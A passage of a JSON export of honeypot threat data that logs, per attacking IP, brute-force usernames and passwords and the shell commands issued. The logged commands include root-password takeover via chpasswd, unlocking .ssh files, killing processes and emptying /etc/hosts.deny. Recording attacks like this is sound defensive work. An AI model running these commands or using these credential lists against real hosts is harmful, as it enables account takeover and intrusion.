        "111111",
        "123",
        "123123",
        "1234",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "passw0rd",
        "password1",
        "qwerty",
        "admin",
        "Admin123",
        "admin123",
        "centos"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 465,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T16:23:35.091000+00:00",
        "last_seen_30d": "2026-03-03T17:18:33.900000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 328,
        "Suricata": 137
      }
    },
    "181.23.107.93": {
      "attack_count": 327,
      "first_seen": "2026-03-03T23:43:04.926Z",
      "last_seen": "2026-03-04T00:34:46.768Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123...",
        "142857",
        "Bingo@1993",
        "Centos2025",
        "Jw123456",
        "Welcome2025",
        "asdf1234@",
        "khongnho",
        "lol12345",
        "p@ssW0rd",
        "ubuntu1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:54Xn8a4gfV8k\"|chpasswd|bash",
        "echo \"root:Y468u5AiBzb2\"|chpasswd|bash",
        "echo \"root:g2tiB0REAPGs\"|chpasswd|bash",
        "echo \"root:vqX8u2A7YABM\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "La Plata",
      "asn": 22927,
      "as_org": "Telefonica de Argentina",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 372,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:43:04.926000+00:00",
        "last_seen_30d": "2026-03-04T00:35:52.644000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 327,
        "Suricata": 45
      }
    },
    "190.92.214.235": {
      "attack_count": 327,
      "first_seen": "2026-03-03T23:41:30.100Z",
      "last_seen": "2026-03-04T00:08:43.546Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123...",
        "142857",
        "Bingo@1993",
        "Centos2025",
        "Jw123456",
        "Welcome2025",
        "asdf1234@",
        "khongnho",
        "lol12345",
        "p@ssW0rd",
        "ubuntu1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:QVB2SGA4ottm\"|chpasswd|bash",
        "echo \"root:c1lbexMOF9MB\"|chpasswd|bash",
        "echo \"root:haa8UdNnvbyI\"|chpasswd|bash",
        "echo \"root:tEYeLLZAXhNJ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 371,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:41:30.100000+00:00",
        "last_seen_30d": "2026-03-04T00:09:45.029000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 327,
        "Suricata": 44
      }
    },
    "202.165.15.132": {
      "attack_count": 315,
      "first_seen": "2026-03-06T21:46:02.608Z",
      "last_seen": "2026-03-31T04:51:20.404Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "newuser",
        "allen",
        "almacen",
        "andy",
        "comunicacao",
        "online",
        "onlyoffice",
        "www",
        "xx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "12345678",
        "123456zxf1984@gmail.cn",
        "2026.com.CN",
        "@qwer2025",
        "@qwer2026",
        "AAbb123456",
        "Aa11223344",
        "NB123456",
        "Ruibo2026!@#",
        "Xx123",
        "a1234567",
        "apple",
        "chinaidc2003",
        "comunicacao123!",
        "newuser"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"newuser\\nyt6bSd3NXa8p\\nyt6bSd3NXa8p\\n\"|passwd",
        "echo \"root:Fwj8NYDz1Fpx\"|chpasswd|bash",
        "echo \"root:fuwQajzL06gJ\"|chpasswd|bash",
        "echo -e \"newuser\\nyt6bSd3NXa8p\\nyt6bSd3NXa8p\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 18206,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 59.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.8,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 382,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T21:46:02.608000+00:00",
        "last_seen_30d": "2026-03-31T04:52:22.034000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 315,
        "Suricata": 67
      }
    },
    "165.232.81.200": {
      "attack_count": 313,
      "first_seen": "2026-03-02T05:30:40.286Z",
      "last_seen": "2026-03-02T06:10:57.024Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "admin",
        "guest",
        "root",
        "test",
        "ubuntu",
        "user",
        "postgres"
      ],
      "passwords_attempted": [
        "password",
        "111111",
        "123123",
        "12345",
        "12345678",
        "123456789",
        "qwerty",
        "123456",
        "1234567"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 442,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T05:30:40.286000+00:00",
        "last_seen_30d": "2026-03-02T06:11:59.336000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 313,
        "Suricata": 129
      }
    },
    "122.176.115.34": {
      "attack_count": 282,
      "first_seen": "2026-03-09T12:02:18.643Z",
      "last_seen": "2026-03-12T23:16:16.108Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "claude",
        "vps",
        "anders",
        "builder",
        "devops",
        "elearn",
        "mama",
        "node",
        "odoo12",
        "paid",
        "site2030",
        "zhenshan",
        "zw"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "123",
        "1234",
        "......",
        "12345",
        "123456",
        "12345678",
        "3245gs5662d34",
        "Huawei@2026",
        "devops",
        "elearn123!",
        "mama123!",
        "node1234",
        "qwerty",
        "site2030",
        "test123456!",
        "vps123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n2AHr9mAPstvi\\n2AHr9mAPstvi\\n\"|passwd",
        "echo \"elearn123!\\n6BPBxNFHp8p9\\n6BPBxNFHp8p9\\n\"|passwd",
        "echo \"vps123\\nsqZ9pY2nCyYj\\nsqZ9pY2nCyYj\\n\"|passwd",
        "echo -e \"123456\\n2AHr9mAPstvi\\n2AHr9mAPstvi\"|passwd|bash",
        "echo -e \"elearn123!\\n6BPBxNFHp8p9\\n6BPBxNFHp8p9\"|passwd|bash",
        "echo -e \"vps123\\nsqZ9pY2nCyYj\\nsqZ9pY2nCyYj\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.3,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 336,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T12:02:18.643000+00:00",
        "last_seen_30d": "2026-03-12T23:17:22.863000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 54
      }
    },
    "95.58.255.251": {
      "attack_count": 259,
      "first_seen": "2026-03-31T07:27:09.991Z",
      "last_seen": "2026-03-31T08:05:25.729Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "$#@!ergean*(",
        "123#qwer",
        "1234Qwer",
        "4rfv%TGB6yhn",
        "NB1234567",
        "hengbing520",
        "ruijie@123",
        "saqy0901gd",
        "shanghaiwusheng",
        "user123456",
        "wanzhonggame"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:GaIu3aD2mbyN\"|chpasswd|bash",
        "echo \"root:ahFxUO4BDakA\"|chpasswd|bash",
        "echo \"root:k8uZizU8UHky\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Astana",
      "asn": 9198,
      "as_org": "JSC Kazakhtelecom",
      "threat_score": 37.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T07:27:09.991000+00:00",
        "last_seen_30d": "2026-03-31T08:06:27.564000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 40
      }
    },
    "101.47.141.128": {
      "attack_count": 257,
      "first_seen": "2026-03-06T20:35:13.396Z",
      "last_seen": "2026-03-28T14:25:57.053Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "mo",
        "345gs5662d34",
        "bench",
        "deploy",
        "innova",
        "melo"
      ],
      "passwords_attempted": [
        "123456789!@#$%^&*(",
        "3245gs5662d34",
        "345gs5662d34",
        "4e2q1w3r",
        "@qwer2025",
        "ASDQWE!@#",
        "Australia@123",
        "Password2",
        "Passwordeniio11@@XXX",
        "Qaz147852",
        "Xw123456!",
        "a",
        "angelo123",
        "anthony",
        "bench123",
        "ems",
        "forzamilan",
        "jifang2026",
        "melopass",
        "mo123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"mo123!\\nSoOL4dAVYy43\\nSoOL4dAVYy43\\n\"|passwd",
        "echo \"root:VEySEKVT4gPs\"|chpasswd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 50.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.3,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 342,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T20:35:13.396000+00:00",
        "last_seen_30d": "2026-03-28T14:27:00.920000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 85
      }
    },
    "102.210.148.92": {
      "attack_count": 257,
      "first_seen": "2026-03-17T15:04:13.738Z",
      "last_seen": "2026-03-17T15:29:49.149Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "abdel",
        "srs",
        "test01",
        "backend",
        "cardano",
        "demo",
        "ks",
        "michele",
        "newuser",
        "ssl"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "Ks123!",
        "Test01123!",
        "abdel",
        "demo123!",
        "newuser",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n6PnXXfHPDDK2\\n6PnXXfHPDDK2\\n\"|passwd",
        "echo \"Test01123!\\nTDm4MPrqMkui\\nTDm4MPrqMkui\\n\"|passwd",
        "echo \"abdel\\nywIaHe6UjP5y\\nywIaHe6UjP5y\\n\"|passwd",
        "echo -e \"12345678\\n6PnXXfHPDDK2\\n6PnXXfHPDDK2\"|passwd|bash",
        "echo -e \"Test01123!\\nTDm4MPrqMkui\\nTDm4MPrqMkui\"|passwd|bash",
        "echo -e \"abdel\\nywIaHe6UjP5y\\nywIaHe6UjP5y\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 328847,
      "as_org": "KoTDA",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T15:04:13.738000+00:00",
        "last_seen_30d": "2026-03-17T15:30:51.651000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 37
      }
    },
    "189.147.174.56": {
      "attack_count": 257,
      "first_seen": "2026-03-17T22:09:57.492Z",
      "last_seen": "2026-03-17T22:28:45.825Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "bart",
        "chris",
        "sai",
        "ubuntu",
        "mastodon",
        "pwserver",
        "root",
        "sg",
        "ttx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "12345678",
        "Pwserver123!",
        "Root123456@",
        "Sg123!",
        "aa123456",
        "password",
        "saipass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n1cwhuwSsVUuM\\n1cwhuwSsVUuM\\n\"|passwd",
        "echo \"1234\\nQTyWhVSowPCO\\nQTyWhVSowPCO\\n\"|passwd",
        "echo \"saipass\\nqMHHzAAPhvpI\\nqMHHzAAPhvpI\\n\"|passwd",
        "echo -e \"123456\\n1cwhuwSsVUuM\\n1cwhuwSsVUuM\"|passwd|bash",
        "echo -e \"1234\\nQTyWhVSowPCO\\nQTyWhVSowPCO\"|passwd|bash",
        "echo -e \"saipass\\nqMHHzAAPhvpI\\nqMHHzAAPhvpI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Benito Juarez",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T22:09:57.492000+00:00",
        "last_seen_30d": "2026-03-17T22:29:47.698000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 36
      }
    },
    "51.15.145.206": {
      "attack_count": 247,
      "first_seen": "2026-03-06T21:53:47.361Z",
      "last_seen": "2026-03-08T20:50:14.272Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "trooper",
        "contab",
        "dls",
        "ftpsecure",
        "ftpuser",
        "hosting",
        "john",
        "linuxbrew",
        "lucas",
        "new",
        "personal",
        "prueba",
        "roman",
        "travis",
        "usuarioftp",
        "victor",
        "vpnuser",
        "wordpress"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "1234",
        "@qwer2024",
        "@qwer2025",
        "Linuxbrew123!",
        "Personal123",
        "Trooper123",
        "Vpnuser123!",
        "Wordpress123",
        "a",
        "daniel123",
        "dls123",
        "johnpass",
        "lucas1234",
        "password",
        "prueba123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Trooper123\\nOvtUjXkSCnAF\\nOvtUjXkSCnAF\\n\"|passwd",
        "echo \"root:dIxVs1XcZOqG\"|chpasswd|bash",
        "echo -e \"Trooper123\\nOvtUjXkSCnAF\\nOvtUjXkSCnAF\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway S.a.s.",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 307,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T21:53:47.361000+00:00",
        "last_seen_30d": "2026-03-08T20:51:23.618000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 247,
        "Suricata": 60
      }
    },
    "152.32.135.217": {
      "attack_count": 242,
      "first_seen": "2026-03-04T20:56:04.256Z",
      "last_seen": "2026-03-23T13:03:36.135Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mgeweb",
        "android",
        "es",
        "github",
        "labs",
        "maarch",
        "nominatim",
        "patricia",
        "peertube",
        "pilot"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "Admin@123qwe",
        "Bingo@1993",
        "Hu123456",
        "La123456",
        "Maarch123",
        "admin#1234",
        "es1234",
        "githubpass",
        "mgeweb1234",
        "nima",
        "passwd@123!",
        "password1",
        "patricia1234",
        "pilot",
        "prueba123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"mgeweb1234\\nJNfu6t8gMAzU\\nJNfu6t8gMAzU\\n\"|passwd",
        "echo \"root:R5sdEdFvcV0T\"|chpasswd|bash",
        "echo -e \"mgeweb1234\\nJNfu6t8gMAzU\\nJNfu6t8gMAzU\"|passwd|bash",
